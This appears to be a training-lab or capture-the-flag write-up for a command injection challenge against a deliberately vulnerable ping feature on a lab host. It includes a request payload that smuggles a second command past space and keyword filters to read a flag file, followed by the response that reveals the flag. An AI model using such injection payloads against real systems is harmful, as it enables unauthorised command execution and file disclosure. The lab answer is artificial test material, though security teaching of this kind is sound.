

# 1. Inject fun, reveal hidden secrets!

Welcome back to the next phase of your journey through the world of Command Injection vulnerabilities, set against the backdrop of our enhanced Asset Discovery tool.

Your mission now is to test the improved security measures and exploit the command injection vulnerability in the `ping` functionality.

## Challenge

We're building our Asset Discovery tool and integrating some new features. We've added a security layer, and we think it's more secure now. Can you test it and ensure it's safe?

This challenge focuses on Command Injection. The `ping` input is still vulnerable, but with some added security measures.

- Target Application: [Asset Discovery tool](#)
- Initial Endpoint: `http://web0x09.hbtn/app2/`

Useful instructions:

1. Log into Asset Discovery tool.
2. `ping` is vulnerable.
3. We can try and give it an input (google.com for example).
4. To exploit this vulnerability, we need to use Bypass space, Bypass command check.
5. Flag Location is ``/etc/1-flag.txt``

```
Connection: keep-alive
Referer: http://web0x09.hbtn/app2/
Upgrade-Insecure-Requests: 1
Priority: uo,i
domain=google.com;head$(IFS)/etc/1-flag.txt
```

```
12 <head>
13 <meta charset="UTF-8" />
14 <meta name="viewport" content="width=device-width, initial-scale=1.0" />
15 <title>
   Asset Discovery Tool
</title>
16 <link rel="stylesheet" href="css/styles.css" />
17 </head>
18 <body>
19 <div class="container">
20 <h1>
   Asset Discovery Tool
</h1>
21
22 <pre>
   PING google.com (142.251.132.14) 56(84) bytes of data:
   64 bytes from gru14s35-in-f14.1e100.net (142.251.132.14): icmp_seq=1 ttl=58 time=2.34 ms
23
24   --- google.com ping statistics ---
25   1 packets transmitted, 1 received, 0% packet loss, time 0ms
26   rtt min/avg/max/mdev = 2.339/2.339/2.339/0.000 ms
27   FLAG_1 d918f499aabb47c66121bb4e76da81e8
28 </pre>
29 </div>
30 </body>
31 </html>
32
33
```